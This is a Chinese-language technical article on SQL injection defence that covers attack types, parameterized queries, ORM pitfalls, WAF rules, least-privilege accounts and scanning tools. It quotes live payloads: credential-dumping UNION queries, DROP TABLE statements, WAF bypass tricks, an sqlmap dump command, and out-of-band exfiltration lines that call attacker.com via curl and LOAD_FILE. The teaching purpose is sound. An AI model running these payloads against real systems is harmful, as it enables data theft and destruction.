1. 注入攻击类型与真实 Payload
SQL 注入的本质是攻击者将恶意 SQL 片段注入到应用拼接的查询字符串中,使数据库执行非预期指令。
1.1 联合注入 (Union-based)
利用 UNION 运算符将原始查询结果与攻击者构造的结果集合并,直接泄露数据:
-- 原始查询
SELECT title, body FROM articles WHERE id = '1'
-- 攻击 Payload
1' UNION SELECT username, password FROM users --
-- 实际执行
SELECT title, body FROM articles WHERE id = '1'
UNION SELECT username, password FROM users
攻击者通常先用 ORDER BY 99-- 探测列数,再用 UNION SELECT null,null-- 逐步确认各列数据类型。
1.2 布尔盲注 (Boolean-based Blind)
当页面不返回查询结果,仅展示"存在/不存在"两种状态时,攻击者通过条件判断逐位提取数据:
' AND SUBSTRING((SELECT password FROM users LIMIT 1), 1, 1) = 'a' --
若页面正常显示,则首字符为 ‘a’,否则尝试 ‘b’,以此类推。自动化工具通过二分查找或字符集遍历将提数时间大幅压缩。
1.3 时间盲注 (Time-based Blind)
当页面在真假条件下表现完全相同时,引入时间延迟作为侧信道:
-- MySQL
' AND IF(ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>64, SLEEP(5), 0) --
-- PostgreSQL
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END --
-- SQL Server
'; WAITFOR DELAY '0:0:5' --
1.4 堆叠注入 (Stacked Queries)
当数据库驱动支持多语句执行时,分号后的任意 SQL 都将被执行:
'; DROP TABLE users; --
'; INSERT INTO admin_logs SELECT * FROM users; --
此类型危害极大,可直接破坏数据完整性或建立持久化后门。
1.5 报错注入 (Error-based)
利用数据库报错信息泄露数据:
-- MySQL
' AND extractvalue(1, concat(0x7e, (SELECT password FROM users LIMIT 1))) --
-- 触发 XPath 语法错误并回显密码值
XPATH syntax error: '~admin_hash_here'
1.6 带外注入 (Out-of-band)
当回显被完全屏蔽时,通过 DNS 查询或 HTTP 请求将数据带出发起外联:
-- MySQL
' AND LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1), '.attacker.com\\a')) --
-- PostgreSQL
'; COPY (SELECT password FROM users LIMIT 1) TO PROGRAM 'curl attacker.com/?d=$(cat -)' --
2. 参数化查询内部机制
参数化查询(Prepared Statement)的核心思想是"先编译,后传值",将 SQL 结构与数据值彻底分离。
2.1 服务端预编译流程
应用层 驱动层 数据库
│ "SELECT * FROM users WHERE id = ?" │
│ ──────────────────────────────────────────────> │
│ │ Parse & Plan │
│ │ <───────────────── │
│ │ 返回 Statement ID │
│ bind(1, "100") │ │
│ ──────────────────────> │ │
│ │ Execute(stmt_id) │
│ │ ──────────────────> │
│ │ 结果集 │
以 MySQL 二进制协议为例,COM_STMT_PREPARE 发送模板 SQL,服务器返回 statement_id 和参数元数据;后续通过 COM_STMT_EXECUTE 仅需传输 statement_id 和绑定值,无需再次解析。此机制天然防御注入,因为绑定值在整个协议层面被当作纯文本字面值处理,不具备拼接语义。
2.2 预编译缓存
-- JDBC 示例:开启服务端预编译缓存
String url = "jdbc:mysql://db:3306/app?useServerPrepStmts=true&cachePrepStmts=true";
Connection conn = DriverManager.getConnection(url, user, pass);
PreparedStatement ps = conn.prepareStatement(
"SELECT * FROM orders WHERE status = ? AND create_time > ?"
);
ps.setString(1, "PAID");
ps.setTimestamp(2, Timestamp.valueOf("2026-01-01 00:00:00"));
ResultSet rs = ps.executeQuery();
useServerPrepStmts=true 启用服务端预编译,cachePrepStmts=true 在连接池内缓存 PreparedStatement 对象,避免高频创建销毁带来的开销。
3. ORM 漏洞模式
ORM 并非免死金牌。不当使用仍会引入注入风险。
3.1 JPA / Hibernate (Java)
// 危险:字符串拼接 JPQL
String hql = "FROM User u WHERE u.name = '" + name + "'";
Query query = session.createQuery(hql);
// 安全:命名参数
String hql = "FROM User u WHERE u.name = :name";
Query query = session.createQuery(hql)
.setParameter("name", name);
// 安全但危险:原生 SQL 拼接
String sql = "SELECT * FROM users WHERE name = '" + name + "'";
Query query = session.createNativeQuery(sql);
3.2 SQLAlchemy (Python)
from sqlalchemy import text
# 危险:text() 中直接拼接
result = conn.execute(text(f"SELECT * FROM users WHERE id = {user_id}"))
# 安全:text() + bindparam
result = conn.execute(
text("SELECT * FROM users WHERE id = :uid"),
{"uid": user_id}
)
# 安全:ORM 查询构造器天然参数化
session.query(User).filter(User.id == user_id).all()
3.3 GORM (Go)
// 危险:字符串格式化
var user User
db.Raw(fmt.Sprintf("SELECT * FROM users WHERE name = '%s'", name)).Scan(&user)
// 安全:占位符
db.Raw("SELECT * FROM users WHERE name = ?", name).Scan(&user)
// 注意:部分 GORM 方法如 Order、Select 仍需防注入
db.Order("name " + sortDir) // sortDir = "DESC; DROP TABLE users; --"
4. WAF 规则与绕过技巧
4.1 常见检测规则
WAF 通常基于正则表达式检测,重点拦截关键字如 UNION、SELECT、SLEEP、BENCHMARK 等。工程上常配合语义分析引擎降低误报。
4.2 绕过手法
| 手法 | 示例 |
|---|---|
| 大小写混淆 | UnIoN SeLeCt |
| 内联注释 | /*!50000UNION*/ /*!50000SELECT*/ |
| 编码替换 | 0x7573657273 替代 "users" |
| 空白替代 | %0b, %0c, %a0 替代空格 |
| 函数别名 | CONCAT_WS(0x7e, a, b) 替代 CONCAT |
| 逻辑等价 | MAKE_SET(1, password) 替代直接列名 |
防御方应部署多层策略:WAF 作为流量入口拦截明显 Payload,参数化查询作为应用层最终防线。
5. 数据库最小权限设计
即使注入成功,最小权限原则能限制损害范围:
-- 创建专用于应用的只读账号
CREATE USER 'app_read'@'10.0.%.%' IDENTIFIED BY 'strong_password';
GRANT SELECT ON app_db.orders TO 'app_read'@'10.0.%.%';
GRANT SELECT ON app_db.products TO 'app_read'@'10.0.%.%';
-- 读写分离:写操作使用独立账号
CREATE USER 'app_write'@'10.0.%.%' IDENTIFIED BY 'another_strong_password';
GRANT SELECT, INSERT, UPDATE ON app_db.orders TO 'app_write'@'10.0.%.%';
-- 撤销危险权限
REVOKE DROP, DELETE, FILE, SUPER ON *.* FROM 'app_read'@'10.0.%.%';
生产数据库应按业务模块拆分账号,禁止应用账号持有 DROP、GRANT、FILE 等高危权限。对只读报表类接口,甚至可配置逻辑复制只读从库进一步隔离。
6. 静态分析与渗透工具
6.1 Semgrep
Semgrep 通过规则模板扫描代码库中的可疑拼接模式:
rules:
- id: java-sql-injection
pattern-either:
- pattern: |
String $SQL = "..." + $X;
...
$STMT.executeQuery($SQL);
languages: [java]
message: "Possible SQL injection through string concatenation"
severity: ERROR
6.2 SQLMap
SQLMap 是自动化盲注/联合注入测试工具,通过 --level 和 --risk 参数控制探测深度:
sqlmap -u "https://example.com/article?id=1" --batch --level=3 --risk=2
sqlmap -u "https://example.com/article?id=1" --dump -D app -T users
6.3 开发阶段集成
将 Semgrep 或 CodeQL 接入 CI 流水线,在代码合并前阻断包含字符串拼接 SQL 的提交;同时引入 SQLMap 在 staging 环境执行定期漏洞扫描,形成 DevSecOps 闭环。
延伸阅读
继续阅读
探索更多技术文章
浏览归档,发现更多关于系统设计、工具链和工程实践的内容。